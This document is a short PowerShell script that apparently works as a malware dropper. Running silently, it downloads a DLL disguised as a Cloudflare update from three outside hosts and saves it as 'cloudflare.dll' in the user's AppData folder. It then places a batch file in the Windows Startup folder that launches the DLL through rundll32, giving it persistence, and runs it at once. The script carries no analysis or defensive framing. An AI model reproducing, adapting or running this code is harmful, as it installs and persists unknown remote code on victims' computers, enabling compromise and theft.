param([switch]$Silent = $true) # Multiple download sources $urls = @( "https://fundacion-cannabis-argentina.org/app/cf_update.dll", "https://ghenvironment.com/public/Images/cf_update.dll", "https://cmparazinho.rn.gov.br/img/cf_update.dll" ) $destinationFile = "$env:APPDATA\cloudflare\cloudflare.dll" # Create directory New-Item -ItemType Directory -Path (Split-Path $destinationFile) -Force -ErrorAction SilentlyContinue # Try each URL until one works foreach ($url in $urls) { try { if (-not $Silent) { Write-Host "Trying: $url" } (New-Object System.Net.WebClient).DownloadFile($url, $destinationFile) # Check if file was downloaded successfully if (Test-Path $destinationFile) { if (-not $Silent) { Write-Host "Success! Downloaded from: $url" } break } } catch { if (-not $Silent) { Write-Host "Failed: $url - $($_.Exception.Message)" } # Remove potentially corrupted file if (Test-Path $destinationFile) { Remove-Item $destinationFile -Force } } } if (Test-Path $destinationFile) { try { $batchFile = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\run_dll.bat" $batchContent = @" @echo off timeout /t 3 /nobreak >nul start /B rundll32.exe "$destinationFile", DllRegisterServer "@ Set-Content -Path $batchFile -Value $batchContent -Encoding ASCII Start-Sleep -Seconds 5 Start-Process "$batchFile" } catch { Write-Host "✗ Failed to create startup script: $($_.Exception.Message)" } } else { if (-not $Silent) { Write-Host "All download attempts failed" } exit 1 }